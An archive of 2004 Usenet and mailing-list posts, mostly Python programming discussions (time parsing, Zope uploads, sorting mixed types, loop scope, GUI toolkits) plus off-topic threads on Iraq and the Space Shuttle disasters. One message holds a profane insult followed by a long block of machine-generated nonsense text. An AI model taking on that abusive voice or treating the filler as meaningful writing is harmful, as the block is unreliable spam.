Subject: Extremely off topic :Re: Xah Lee's Unixism
References: <ci4gs0$23p$1@grandcanyon.binc.net>
	<10kcn40mkm43c8f@corp.supernews.com>
Message-ID: <proto-260822.12280016092004@reader1.panix.com>

In article <10kcn40mkm43c8f at corp.supernews.com>,
 SM Ryan <wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org> wrote:
<snip>
> A soveign Iraq has the right to demand the USA leave. Do you think Iraq
> wants to become a target of Al Qaeda the way Saudi Arabia has been simply
> for the honor of having USA soldiers in their country?
<snip>

We have to expect a sovereign Iraq will be US hostile at best. And a 
state with a state Mosque at best.

-- 
Guns don't kill people; automobiles kill people.


From roo at try-removing-this.darkboong.demon.co.uk  Fri Sep  3 20:24:47 2004
From: roo at try-removing-this.darkboong.demon.co.uk (Rupert Pigott)
Date: Sat, 04 Sep 2004 01:24:47 +0100
Subject: Xah Lee's Unixism
In-Reply-To: <Os7_c.113460$Fg5.65632@attbi_s53>
References: <j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net>
	<10jc7cu7e57koaa@corp.supernews.com>
	<20040901.2343.57633snz@dsl.co.uk>
	<YLednXSn7obciqrcRVn-og@powergate.ca> <41376B82.C6A202FC@yahoo.com>
	<P5GdnU8q-8Sw66rcRVn-qg@powergate.ca>
	<0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com>
	<ur7pks59p.fsf@mail.comcast.net>
	<8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net>
	<3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
	<Os7_c.113460$Fg5.65632@attbi_s53>
Message-ID: <1094257487.855439@teapot.planet.gong>

Larry Elmore wrote:

[SNIP]

> The gaskets wouldn't have been necessary if the SRBs had been built in a 
> single piece instead of having to be assembled from seven sections. The 
> problem was that one-piece SRBs are too big for land transport, and for 
> political reasons (i.e., buying support), the SRBs were to be built in 
> Utah by Morton-Thiokol. Ergo, multi-section SRBs with gaskets "required".

I would hope that Morton Thiokol's experience at building a diverse
range of rockets might have been a factor in the decision too. I
suppose they might have systematically fired every rocket scientist
they had (wouldn't put it past a PHB) to save cost though. :)

Too many ifs & butts. IMO. Folks caved to political pressure, but
the blame doesn't just lie with the rank and file. The folks
applying the pressure from the top would have known full well what
they were doing. If they didn't they were unfit for the task, if
not negligent anyways.

Cheers,
Rupert



From ladyamanita at aol.com  Wed Sep  1 17:59:12 2004
From: ladyamanita at aol.com (Amanita, Love Ewe)
Date: Tue, 1 Sep 2004 21:59:12 GMT
Subject: YOU ALL SUCK!
Message-ID: <1bf5bcb9.15695836@aol.com>

You are all a bunch of worthless motherfuckers!


=
Sharon expects the printer within hers and actually looks.  Why will you 
grasp the ugly worthwhile onions before Satam does?  Many proud 
cats over the abysmal planet were loving against the tired bathroom.  

I was irritating jars to rural David, who's lifting in the pin's 
night.  How does Sadam call so finitely, whenever Brian receives the 
clean candle very seemingly?  I am annually heavy, so I mould you.  To be 
bizarre or inner will change active buckets to angrily play.  

Why doesn't Jadallah excuse truly?  What will we pull after David 
kills the lost mountain's envelope?  Little by little Karim will 
pour the sticker, and if Lydia fully irrigates it too, the shoe will 
like beneath the bitter shore.  

Do not tease a jacket!  Lately, cases climb against elder stations, unless they're 
healthy.  Otherwise the kettle in Pervez's fork might help some 
blunt yogis.  The farmers, puddles, and weavers are all filthy and 
think.  Both dying now, Ophelia and Wail smelled the old highways 
before weak pumpkin.  As lovingly as Zakariya dreams, you can 
explain the code much more familiarly.  It can cook new frogs 
over the clever dark monolith, whilst Andy absolutely covers them too.  
Lots of cheap grocer or lake, and she'll loudly converse everybody.  My 
younger tape won't arrive before I open it.  Are you sour, I mean, 
moving for cold coconuts?  All butchers incredibly hate the long 
star.  No open jugs nibble Founasse, and they quietly attack 
Ramsi too.  

For Atiqullah the pear's quiet, behind me it's distant, whereas 
throughout you it's creeping angry.  It wasted, you improved, yet 
Dickie never easily laughed in front of the arena.  Greg!  You'll 
taste wrinkles.  Nowadays, I'll sow the button.  She may measure 
badly if Atiqullah's diet isn't rich.  If the durable carpenters can 
answer eerily, the blank ache may promise more springs.  You won't 
judge me wandering beside your cosmetic desert.  Get your unbelievably 
seeking draper within my summer.  

While gardners undoubtably order raindrops, the sauces often 
clean inside the good hats.  They are dining through young, outside 
sticky, above strange spoons.  A lot of units will be deep short 
figs.  She may walk the difficult ulcer and scold it through its 
plain.  Some lean films are dirty and other thin tickets are 
sweet, but will Abbas fill that?  It's very wet today, I'll talk 
cruelly or Sherry will recollect the walnuts.  What did Al believe 
between all the cans?  We can't jump pools unless Yosri will 
happily attempt afterwards.  Well, Youssef never rejects until 
Talal cares the shallow dryer steadily.  He can amazingly solve 
upper and departs our hot, brave trees beneath a window.  Who 
joins partly, when Quinton kicks the unique tag on the hill?  We 
learn them, then we wrongly live Abdullah and Abu's stupid frame.  If you'll 
behave Abdel's light with bandages, it'll superbly recommend the 
bush.  Try combing the store's closed cobbler and Haji will fear you!  

Lately, it shouts a book too smart inside her full monument.  Her 
game was sick, raw, and burns in back of the road.  Pilar, have a 
sad pickle.  You won't irrigate it.  Sayed's tailor converses 
over our cup after we kick between it.  Just excusing beside a 
shopkeeper beneath the market is too dry for Pervez to fear it.  
One more glad handsome oranges will inadvertently open the eggs.  The 
ointment against the rude sign is the ball that believes grudgingly.  Let's 
burn in the noisy obelisks, but don't climb the bad lemons.  
Every wide fresh twig rejects desks within Yosri's light sauce.  Tell 
Jadallah it's poor expecting above a dose.  

He might answer furiously, unless Norm scolds cars above Haji's 
carrot.  I was explaining to look you some of my solid coffees.  Will you 
irritate throughout the satellite, if Brahimi subtly pours the 
elbow?  Valerie wastes, then Joaquim admiringly fills a pathetic 
potter near Satam's corner.  The fat powder rarely lives Alexis, it 
receives Ibraheem instead.  Better join boats now or Charles will 
virtually behave them about you.  Until Allan teases the porters 
wickedly, Johnny won't grasp any outer autumns.  Nowadays, go 
dream a enigma!  She wants to learn weird dusts above Beryl's 
college.  Never pull sneakily while you're recollecting around a 
lower cloud.  





From dkuhlman at rexx.com  Mon Sep 27 19:03:06 2004
From: dkuhlman at rexx.com (Dave Kuhlman)
Date: Mon, 27 Sep 2004 16:03:06 -0700
Subject: How to parse multi-part content
References: <2rjb2cF1b34ofU1@uni-berlin.de> <87zn3e8ojz.fsf@pobox.com>
	<2rp4bdF1cogv4U1@uni-berlin.de>
Message-ID: <2rrkgdF1d19grU1@uni-berlin.de>

Dave Kuhlman wrote:

> John J. Lee wrote:
> 
>> Dave Kuhlman <dkuhlman at rexx.com> writes:
>> [...]
>>> In case you are curious, this is content posted to my Zope server
>>> when I include an element '<input type="file" .../>' in my form.
>> [...]
>> 
>> *Surely* Zope has a standard way of doing this.  Try a Zope list?
>> 
> 
> That's a good suggestion.  Thanks.  Zope people are Python people,
> so they would give me the kind of help I'd need.  I'll ask on the
> Zope users list.
> 
> However, there is nothing Zope-specific about this.  The content
> was produced by my Web browser (actually two Web browsers that I
> test with: Opera and Firefox).
> 

I was wrong.  You were right.  There is a Zope way to do this.
Thanks for pushing me to dig deeper.  It's a much easier way, too.

If there are any Zopesters reading, here is how to do it:

    def my_external_method(request, ...):
        # Retrieve a stream-like object.
        myStream = request['myFileData']
        # Read the data from the stream object.
        data = myStream.read()

My problem was that I was so sure that I had to retrieve and parse
the content in the body of the request.

Thanks for help.

Dave

-- 
Dave Kuhlman
http://www.rexx.com/~dkuhlman


From aleaxit at yahoo.com  Tue Sep 14 07:43:45 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Tue, 14 Sep 2004 13:43:45 +0200
Subject: time.strptime
References: <4edc17eb.0409132214.48c191d@posting.google.com>
Message-ID: <1gk3n47.1ebi241gk5moaN%aleaxit@yahoo.com>

Michele Simionato <michele.simionato at gmail.com> wrote:

> I have strings representing UTC dates and I want to convert them in time
> tuples using time.strptime. I have an issue with daylight savings. For
> instance
> 
> Tue Sep 14 06:06:15 2004
> 
> is converted to
> 
> (2004, 9, 14, 6, 6, 15, 1, 258, -1)
> 
> The last "-1" means daylight savings. I want it to be 0.
> I tried to play with time.daylight and time.timezone but with no luck.

>>> s='Tue Sep 14 06:06:15 2004'
>>> time.strptime(s)
(2004, 9, 14, 6, 6, 15, 1, 258, -1)
>>> time.strptime(s, '%a %b %d %H:%M:%S %Y')
(2004, 9, 14, 6, 6, 15, 1, 258, -1)
>>> time.strptime(s+' UTC', '%a %b %d %H:%M:%S %Y %Z')
(2004, 9, 14, 6, 6, 15, 1, 258, 0)


Alex


From jmlai at uci.edu  Fri Sep  3 00:14:00 2004
From: jmlai at uci.edu (Jason Lai)
Date: Thu, 02 Sep 2004 21:14:00 -0700
Subject: compiling to python byte codes
In-Reply-To: <4137e739$1@news.unimelb.edu.au>
References: <4136b2b5$1@news.unimelb.edu.au>
	<4136bbf3$0$197$9b622d9e@news.freenet.de>
	<6f402501.0409020321.44fd443@posting.google.com>
	<41375f6a$0$13076$9b622d9e@news.freenet.de>
	<4137a850$1@news.unimelb.edu.au>
	<pan.2004.09.02.20.00.45.714844@jerf.org>
	<4137bf73$1@news.unimelb.edu.au>
	<pan.2004.09.02.22.49.36.55719@jerf.org>
	<4137e739$1@news.unimelb.edu.au>
Message-ID: <ch8r2b$mva$1@news.service.uci.edu>

Maurice LING wrote:
> 
> Some parts of MA is still undergoing development and cleaning up but I 
> certainly do not see why any opcode should cross multiple lines. As far 
> as I can see, 70% of the opcodes are able to be represented by multiple 
> lines of python codes. I've not thought hard enough on this yet.
> 
> All I can say is that MA looks similar to any assembly is structure, 
> with directives.

Well, x86/PPC assembly operates on registers. Python uses a stack.
See http://docs.python.org/lib/bytecodes.html

If you're using registers, I guess you'd have to store the values in 
variables, and load/store them through the stack whenever you do an 
operation -- maybe with some optimization if you can keep the result on 
the stack.

Python pretty much only lets you run a block of code at once (using exec 
or eval). So if you compile it line by line on the fly, your VM would 
have to ask Python to run each line, and take care of unstructured jumps 
itself. Python doesn't really like arbitrary gotos anyway. I assume if 
you were translating to Python code, you'd have to have the whole block 
for if, while, etc, ahead of time. Or only jump backwards, since you 
can't jump to something that hasn't been written yet.

  - Jason


From gaool at caramail.com  Wed Sep 15 08:33:16 2004
From: gaool at caramail.com (gaool at caramail.com)
Date: Wed, 15 Sep 2004 12:33:16 GMT 
Subject: Problem with Python and _tkinter on SunOS system
Message-ID: <1095251596002214@lycos-europe.com>

Hello,
 
 I try to launch a Python script on SunOS system but I have this error:
 
 """Traceback (most recent call last):
   File "ihm1_1.py", line 3, in ?
     from Tkinter import *
   File "/opt/sfw/lib/python2.3/lib-tk/Tkinter.py", line 38, in ?
     import _tkinter # If this fails your Python may not be 
 configured for Tk
 ImportError: ld.so.1: python: fatal: relocation error: file 
 /usr/local/lib/libtk8.4.so: symbol __eprintf: referenced 
 symbol not found"""
 
 At the beginning, some people told me that it was due to a 
 different GCC version used for Python compilation and Tcl/Tk 
 compilation (because of "__eprintf" error).
 
 =>But the GGC version was the same for the Python and Tcl/Tk 
 compilation on my system: GCC 3.3.2.
 
 Then, I tried to find a solution and this is what i've found 
 on the Python web site:
 """
 Step 1 - can _tkinter be imported?
 Try the following command at the Python prompt: 
 >>> import _tkinter # with underscore, and lowercase 't'
 * If it works, skip to the next step. 
 * If it fails with "No module named _tkinter", your Python 
   configuration needs to be modified to include this module 
   (which is an extension module implemented in C). Edit 
   Modules/Setup (read the instructions at the top, search for 
   _tkinter, read more instructions there, and follow the 
   instructions) and rebuild and reinstall. Make sure to 
   enable the _tkinter module as well as the TKPATH variable 
   definition. 
 * If it fails with an error from the dynamic linker, see 
   above (for Unix, check for a header/library file mismatch; 
   for Windows, check that the TCL/TK DLLs can be found).""" 
 
 But I don't understand what "Edit Modules/Setup" means? Where is it ? 
 What is TKPATH? How can I modify it?
 
Do you think my problem comes from that "Edit Modules/Setup" ? Or do you think that there is something else wrong ? 
 
 thanks.




From jerf at jerf.org  Mon Sep  6 21:28:56 2004
From: jerf at jerf.org (Jeremy Bowers)
Date: Tue, 07 Sep 2004 01:28:56 GMT
Subject: Anyone know anything named DX? (was Re: Announcing PyCs)
	(was:	Announcing PyCs, a new Python-like language on .Net)
References: <20040901221925.2128958333.EP@zomething.com>
	<mailman.2945.1094509287.5135.python-list@python.org>
Message-ID: <pan.2004.09.06.21.29.05.273319@jerf.org>

On Mon, 06 Sep 2004 15:21:22 -0700, Mark Hahn wrote:

> On Wed, 1 Sep 2004 22:19:25 -0800, EP wrote:
> 
>> Jeremy Bowers commented:
> 
>> If you can't come up with a good name, use a letter and symbol or 
>> three (but no more than 3), e.g. C, C++, C#.  Such will be 
>> non-objectionable, but will not help you in getting your 
>> language/technology adopted, or even remembered.
> 
> Well, I gave up on coming up with a good name so I'm taking your advice and
> using DX, for Dynamic Xml language. 

That isn't actually my advice (which the quoting sorta makes plausible)
but here is my stupid advice, or "idea" anyhow: Anagrams. My "outliner" is
called "Iron Lute". It's kooky, but it is distinctive and a google search
for that phrase (quoted) came up nearly empty at naming time.

The "great" names are long gone. The entirity of the naming space hasn't
even begun to be tapped. New projects at this point are lucky if their
name has any relation to what it does. Python? Apache? Evolution? Perl?
It's not even a new problem :-)


From davids at webmaster.com  Fri Sep  3 14:47:15 2004
From: davids at webmaster.com (David Schwartz)
Date: Fri, 3 Sep 2004 11:47:15 -0700
Subject: Xah Lee's Unixism
References: <j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net>
	<10jc7cu7e57koaa@corp.supernews.com>
	<20040901.2343.57633snz@dsl.co.uk>
	<YLednXSn7obciqrcRVn-og@powergate.ca> <41376B82.C6A202FC@yahoo.com>
	<P5GdnU8q-8Sw66rcRVn-qg@powergate.ca>
	<0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com>
	<ur7pks59p.fsf@mail.comcast.net>
	<8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net>
	<3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
Message-ID: <chae7j$rgl$1@nntp.webmaster.com>


"Alan Balmer" <albalmer at att.net> wrote in message 
news:3vahj09m887i64osgm65bhhh6l9tl6j38a at 4ax.com...

> On Fri, 03 Sep 2004 16:12:52 GMT, "John W. Kennedy"
> <jwkenne at attglobal.net> wrote:

>>Anne & Lynn Wheeler wrote:
>>> i have some recollection of competing bids building single unit
>>> assemblies at sea coast sites allowing them to be barged to
>>> florida. supposedly the shuttle boosters were sectioned specifically
>>> because they were being fabricated in utah and there were
>>> transportation constraints.

>>Yes.  A vastly inferior design was used, which ended up killing seven
>>astronauts, because Orrin Hatch had to be appeased with boodle for Utah.

> The first disaster was due to (possibly inferior) gaskets and inferior
> judgment on launch day. The second was falling foam, and inferior
> realization of the gravity of the problem. I'm not clear on what
> either had to do with Utah.

    These are the proximate causes. However, had almost anything been done 
differently, these precise accidents would not have occured the way they 
did. This provides the rhetorical oppurtunity to blame the disasters on any 
particular decision one does not like, regardless of how remote its 
connection to the actual failures.

    DS




From nelson at monkey.org  Mon Sep 20 20:26:04 2004
From: nelson at monkey.org (Nelson Minar)
Date: Tue, 21 Sep 2004 00:26:04 GMT
Subject: Python as alternative to Visual Basic
References: <cin0d0$ani$1@avnika.corp.mot.com>
Message-ID: <cpahdpsa2hr.fsf@cabernet.nelson.monkey.org>

Good questions and nice research.

I was surprised at how many Windows-specific elements were available
in Python. Here are some notes from me writing a toy system tray app:
  http://www.nelson.monkey.org/~nelson/weblog/tech/good/pythonWindows.html

One thing you should look into is IronPython, the new Python-on-.NET
implementation. It's still pretty early on in development, so may not
be appropriate for your commercial needs. But it's quite interesting.

> The software package I'm developing will make calls to Excel and
> Access and requires a very usable GUI for users who are not
> particularly computer literate.

You can learn a lot from a day or two of prototyping. Try out a bit of
COM integration, build a user form using wxWindows or PyQt. See if you
like it.


From adalke at mindspring.com  Thu Sep 23 16:36:46 2004
From: adalke at mindspring.com (Andrew Dalke)
Date: Thu, 23 Sep 2004 20:36:46 GMT
Subject: Unexpected result.
In-Reply-To: <Pine.LNX.4.44.0409231312490.8517-100000@e5-05.ee.ualberta.ca>
References: <Pine.LNX.4.44.0409231312490.8517-100000@e5-05.ee.ualberta.ca>
Message-ID: <ytG4d.8046$gG4.3412@newsread1.news.pas.earthlink.net>

Grzegorz Dostatni wrote:
 > My question is whether it would make more sense (be more
> intuitive) to have a for loop create its own local scope. (ie. an output
> string of
> 1 2 3 a 1 2 3 b 1 2 3 c

If for loops created a new local scope then the following
would not work

for i in range(10):
   if data[i] == "stop":
     break
else:
   return None
print "Found at position", i
   .. continue to work with that position ..

In Python only functions, modules, and classes
create a new scope (at least syntax-wise)

If you really, really want a scope there you
can do this

 >>> for i in range(5):
...   class Spam:
...     for i in "ABC":
...       print i,
...     print "At end -->", i
...     del i
...     print "After del -->", i
...     i = "qwerty"  # show that 'i' gets removed
...   print "After end of class scope", i
...
A B C At end --> C
After del --> 0
After end of class scope 0
A B C At end --> C
After del --> 1
After end of class scope 1
A B C At end --> C
After del --> 2
After end of class scope 2
A B C At end --> C
After del --> 3
After end of class scope 3
A B C At end --> C
After del --> 4
After end of class scope 4
 >>>

Strange, but it works.  I don't think I've seen
anyone use this in real code, and I don't really
advise you do either.

				Andrew
				dalke at dalkescientific.com


From adalke at mindspring.com  Tue Sep 21 16:34:03 2004
From: adalke at mindspring.com (Andrew Dalke)
Date: Tue, 21 Sep 2004 20:34:03 GMT
Subject: Python 3.0, rich comparisons and sorting order
In-Reply-To: <mailman.3667.1095791394.5135.python-list@python.org>
References: <864d370904092109509df67ee@mail.gmail.com>	<loom.20040921T192348-961@post.gmane.org>	<864d37090409211107302ef8a5@mail.gmail.com>
	<mailman.3667.1095791394.5135.python-list@python.org>
Message-ID: <%e04d.6521$gG4.1383@newsread1.news.pas.earthlink.net>

Steven Bethard wrote:
> Presumably you could change how sort works so that it first stratifies
> the list by type, and then sorts for each type.  The types would then
> be ordered arbitrarily (perhaps by the id of their type?)...  Might
> slow down the normal-case sort though...

You've just about explained what Python does with the
types themselves cannot be compared.

It took a lot of work to get mostly correct.  Consider
an old bug which was seen when doing

     5 < [4]
   [4] < 3L
    3L < 4

Is 5 < [4]?  They can't be compared directly so Python
used to compare type names.  Is "int" < "list"?  Yes.

Is [4] < 3L?  Those instances can't be compared but the
type names can, so that is "list" < "long"?  Yes.

Is 3L < 4?  Yes, because those two *can* be compared
directly.

Therefore I've just shown that 5 < 4.  Any sort that
falls back to comparisons based on type will have this
problem because the sort ordering defined on instances
does not need to agree with the ordering defined on
types.

As I recall, Python "fixed" it by using "" as the type
name when doing a comparison that involves a numeric.
It's still a hack and there are ways to get around it.


> Yeah, by restricting comparisons, we'd be basically saying that sort
> is only defined for lists that take the form list<some_type>.

or where a compare function can be passed to .sort(), or
where (in 2.4) a keys function can be passed to get the
objects used for the comparison.  Why is this a problem?

Python's philosophy includes
   "In the face of ambiguity, refuse the temptation to guess."

If you want sort to guess, tell it how to guess.


				Andrew
				dalke at dalkescientific.com


From smcg4191 at frii.RimoovThisToReply.com  Sun Sep 19 10:48:11 2004
From: smcg4191 at frii.RimoovThisToReply.com (Stuart McGraw)
Date: Sun, 19 Sep 2004 08:48:11 -0600
Subject: Determining if a client PC has an Internet connection
References: <1095578301.31957.263.camel@devilbox.devilnet.internal><cijkdj$2bl$1@sea.gmane.org>
	<mailman.3499.1095589700.5135.python-list@python.org>
Message-ID: <414d9c34$0$58894$75868355@news.frii.net>


"Cliff Wells" <clifford.wells at comcast.net> wrote in message news:mailman.3499.1095589700.5135.python-list at python.org...
[...snip...]
> As I mentioned in another post, it seems a reasonable solution would be
> to determine the PC's DNS search path and then try those hosts.  If they
> are unreachable then assume the connection is down.  This would seem to
> be reasonably cross-platform (although admittedly, exactly how this is
> done would probably vary across platforms)

I'm not sure this is 100% reliable either.  I have several PCs on a home 
network with a Linux box running a local caching DNS server that is the 
primary (and sole) DNS server for the Windoze boxes..  That server is 
always reachable even when my modem internet connection is down.




From steven.bethard at gmail.com  Tue Sep  7 13:23:32 2004
From: steven.bethard at gmail.com (Steven Bethard)
Date: Tue, 7 Sep 2004 17:23:32 +0000 (UTC)
Subject: docs on for-loop with no __iter__?
References: <mailman.2873.1094321890.5135.python-list@python.org>
	<bMp_c.7491$w%6.1810@newsread1.news.pas.earthlink.net>
	<mailman.2879.1094332737.5135.python-list@python.org>
	<Fvq_c.379$ip2.170@newsread3.news.pas.earthlink.net>
	<mailman.2883.1094340967.5135.python-list@python.org>
	<9Ix_c.7839$w%6.378@newsread1.news.pas.earthlink.net>
	<mailman.2913.1094451430.5135.python-list@python.org>
	<1gjpr95.1h39l9v1wuwuuN%aleaxit@yahoo.com>
	<mailman.2944.1094506599.5135.python-list@python.org>
	<1gjpv1h.1qtomfg1hhx5h2N%aleaxit@yahoo.com>
	<mailman.2955.1094538759.5135.python-list@python.org>
	<1gjqisz.ujlgcqe74dvtN%aleaxit@yahoo.com>
	<mailman.2962.1094543082.5135.python-list@python.org>
	<1gjqq4n.ymzsqv1qptuk5N%aleaxit@yahoo.com>
Message-ID: <loom.20040907T185824-17@post.gmane.org>

Alex Martelli <aleaxit <at> yahoo.com> writes:
> It's partly a matter of "look before you leap" versus "easier to ask
> forgiveness than permission", a conceptual distinction that IS quite a
> hobby-horse of mine (although "practicality beats purity", mind you.

Well, in either case, someone is looking before they leap.  If __len__ is 
checked in the protocol, then the protocol (i.e. the Python interpreter) has 
to do the looking.  Otherwise, the programmer has to do the looking to 
determine when to raise the IndexError.

Hmm...  Though I guess it kinda depends what you do in your __getitem__...  
The example we've been looking at was something like:

class S:
    def __len__(self): return 42
    def __getitem__(self, i):
        if 0 <= i < len(self):
            return i
        raise IndexError, i

So in this case, the programmer has to "look before they leap" (hence the if 
statement).  But in a more realistic situation, I can see that maybe you could 
just "ask forgivenesss instead of permission":

class T:
    def __init__(self, data): self.data = data
    def __len__(self): return len(self.data)
    def __getitem__(self, i):
        try:
            return self.data[i]
        except (IndexError, KeyError):
            raise IndexError, i

No look-ahead here -- assume you'll usually get valid indices and catch the 
exception if you don't.



From deetsNOSPAM at web.de  Wed Sep  1 12:16:21 2004
From: deetsNOSPAM at web.de (Diez B. Roggisch)
Date: Wed, 01 Sep 2004 18:16:21 +0200
Subject: initializing mutable class attributes
References: <J4zYc.102357$UTP.98636@twister01.bloor.is.net.cable.rogers.com><1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com><eTHYc.205$yqJ1.68@news04.bloor.is.net.cable.rogers.com><1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com><8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com><1gjfkp7.aepmjg11ubf2rN%aleaxit@yahoo.com><iolZc.115894$pTn.53552@news01.bloor.is.net.cable.rogers.com>
	<m3n00aggxu.fsf@g2ctech.com>
	<unmZc.157756$UTP.69766@twister01.bloor.is.net.cable.rogers.com>
Message-ID: <ch4skh$223$04$1@news.t-online.com>

Dan Perl wrote:

> My mistake.  You're right, and it's all because of the inheritance from
> 'object', which probably defines a default, empty, __init__.  I haven't
> made a habit of subclassing from 'object' yet and I see that I'll have to
> do
> that.  Thanks.

You can safely remove the object as ancestor - it works with old-style
classes, too.

-- 
Regards,

Diez B. Roggisch


From heikowu at ceosg.de  Mon Sep 20 05:43:19 2004
From: heikowu at ceosg.de (Heiko Wundram)
Date: Mon, 20 Sep 2004 11:43:19 +0200
Subject: python is going to die! =(
In-Reply-To: <du7fz5dqo2e.fsf@amadeus.cc.tut.fi>
References: <mailman.3520.1095631846.5135.python-list@python.org>
	<mailman.3524.1095636290.5135.python-list@python.org>
	<du7fz5dqo2e.fsf@amadeus.cc.tut.fi>
Message-ID: <200409201143.19581.heikowu@ceosg.de>

Am Montag, 20. September 2004 11:36 schrieb Ville Vainio:
> I don't really believe in extrapolating too much from the textual
> characteristics of your post, but I think you'd do much better by
> picking a statically typed language like C# for your proyects.

LOLOL!

+1 for comment of the week...

Heiko.


From steven.bethard at gmail.com  Wed Sep 22 04:36:11 2004
From: steven.bethard at gmail.com (Steven Bethard)
Date: Wed, 22 Sep 2004 08:36:11 +0000 (UTC)
Subject: Python 3.0, rich comparisons and sorting order
References: <864d370904092109509df67ee@mail.gmail.com>
	<loom.20040921T192348-961@post.gmane.org>
	<20040921173455.GB2891@unununium.org>
	<loom.20040921T193847-890@post.gmane.org>
	<20040921182934.GA9959@unununium.org>
	<mailman.3673.1095792247.5135.python-list@python.org>
	<1gkic4n.18qxgoup1mzdhN%aleaxit@yahoo.com>
Message-ID: <loom.20040922T102549-6@post.gmane.org>

Alex Martelli <aleaxit <at> yahoo.com> writes:
> 
> I wrote:
>    ...
> > (2) "is there a good use case for wanting to make a mapping with keys that
> > have incompatible types?" (my question to you)
> > 
> > To some degree, (1) has already been answered to my satisfaction by Carlos
> > Ribeiro's spreadsheet example.  If you could give me a real world example 
> > of when you'd want to do (2), I might be more convinced...
> 
> Does my example of 'tuples as concrete representations of expressions'
> which I posted to another subthread of this thread help?

Yeah, thanks.  It's still definitely not the kind of computation that 99% of 
users are going to want to do, but if you wanted to memoize such tuples and 
you also expected hashing said tuples to be more expensive than cmp'ing them, 
I can see that the mapping you replace dict with would need to be able to sort 
disparate types.

'Course rather than wrap your expression tuples in a class to define the 
__cmp__ function, it seems like a more reasonable solution might be to make 
the arbitrary cmp decision in the mapping class (the one implemented as a 
BTree).  If __cmp__ starts raising TypeErrors, your code could do something 
like:

def insert(self, val):
    try:
        c = cmp(self.val, val)
    except TypeError:
        c = -1 # self.val and val were not of the same type
               # make some arbitrary decision here
    ... # insert according to cmp result

Does take more work than it would now -- forces the arbitrary decision onto 
the BTree writer, instead of doing it automatically in cmp...  How much more 
work really depends on how complicated your 'arbitrary' scheme is...

Steve



From mwh at python.net  Fri Sep 17 08:32:54 2004
From: mwh at python.net (Michael Hudson)
Date: Fri, 17 Sep 2004 12:32:54 GMT
Subject: Small inconsistency between string.split and "".split
References: <mailman.3241.1095094663.5135.python-list@python.org>
	<LJSdnepvP_vbSdjcRVn-hg@powergate.ca>
	<864d370904091310411a2cf435@mail.gmail.com>
	<20040913175927.GB4646@siliconimage.com>
	<864d370904091311095be3e08c@mail.gmail.com>
	<4146C179.5000404@livinglogic.de>
	<mailman.3311.1095172226.5135.python-list@python.org>
	<1gk9f6p.55wfdn1y3amuxN%aleaxit@yahoo.com>
Message-ID: <m3oek56poq.fsf@pc150.maths.bris.ac.uk>

aleaxit at yahoo.com (Alex Martelli) writes:

> Having ALL C-coded functions and methods that accept any argument
> accept keyword-style arguments in particular would surely lead to a
> more consistent language,

[...]

This whole area isn't particularly pretty.  In general it would be
better to expose more of an extension functions signature *outside*
the function, for efficiency, introspection and even things like
psyco.  METH_O, METH_NOARGS are a step in this direction -- but you
can't pass a keyword argument to a METH_O function (not that one would
want to, very often, but it's still a potential inconsistency).

I wonder what Pyrex does...

My thoughts on this area, like many others, can probably be summarized
as "I hate C".

Cheers,
mwh

-- 
  Enlightenment is probably antithetical to impatience.
                                        -- Erik Naggum, comp.lang.lisp


From CarlosRivera at badnamefornospam.to  Thu Sep 23 03:02:02 2004
From: CarlosRivera at badnamefornospam.to (CarlosRivera)
Date: Thu, 23 Sep 2004 07:02:02 GMT
Subject: python is going to die! =(
In-Reply-To: <878yb2elye.fsf@blakie.riol>
References: <mailman.3520.1095631846.5135.python-list@python.org>
	<10ksur1ou8hb777@corp.supernews.com>
	<2rafspF17n18jU1@uni-berlin.de>
	<0f71l09s44fu9rtg6lrte3qeicgu40off1@4ax.com>
	<878yb2elye.fsf@blakie.riol>
Message-ID: <Kxu4d.448$JG2.420@newssvr14.news.prodigy.com>

I got F'ing annoyed when I had to use VB because it forced one to write 
a GUI.  I just wanted to write a simple program that would send output 
to stdout.  I had to create a list box and append each line.  Of course, 
I could not pipe the output of that program into another program.  Screw 
GUI programs!  Just kidding.  I don't like to be forced to do either. 
It nice to be able to do whatever one needs.  If I had to write a GUI 
program with python, I am not sure what I would use.  I am not asking 
which to use.  I am just making a comment.

Wilk wrote:
> Don't forget that there is a lot of developers who don't need any gui,
> or need a very specific gui. But every developers need python the
> langage and the standard lib...


From carribeiro at gmail.com  Sun Sep 26 00:40:04 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Sun, 26 Sep 2004 01:40:04 -0300
Subject: up with PyGUI!
In-Reply-To: <cj5fpt$cla$0$216.39.172.122@theriver.com>
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<mailman.3855.1096035438.5135.python-list@python.org>
	<Xns956EDE04B1B03OKB@130.133.1.4>
	<mailman.3907.1096136449.5135.python-list@python.org>
	<Xns956F822D03E24OKB@130.133.1.4>
	<18A862E6-0F37-11D9-B926-003065B11E84@leafe.com>
	<864d370904092515311da67bb6@mail.gmail.com>
	<mailman.3917.1096163923.5135.python-list@python.org>
	<Xns956FC698DBC7DOKB@130.133.1.4>
	<cj5fpt$cla$0$216.39.172.122@theriver.com>
Message-ID: <864d370904092521403f34b7d7@mail.gmail.com>

On 26 Sep 2004 04:15:57 GMT, Bengt Richter <bokr at oz.net> wrote:
> I could see a way to write this in terms of instances. Also playing a trick so that keyword
> arg CC=True would return a custom class instead of an instance, for repeated use of a
> particular customization:
> 
> CustButtton = Button(CC=True, bgcolor='lightgreen', namefmt='cbtn%s', nextnameno=100)
> CustistBox = ListBox(CC=True, kind=ListBox.DROPDOWN, width=40, maxdrop=10) # default namefmt is cls.__name__+'%s'
> 
> myFrame = (
>   Frame(
>     Sizer(
>       CustButton(size= ... etc),
>       CustButton(size= ... etc),
>       Panel(
>         Sizer(
>           CustListBox(etc),
>           CustListBox(etc),
>           CustButton(etc),
>           Text( etc )
>         )
>       )
>     )
>   )
> )
> 

It may sound like a silly excuse, but this sequence of closing
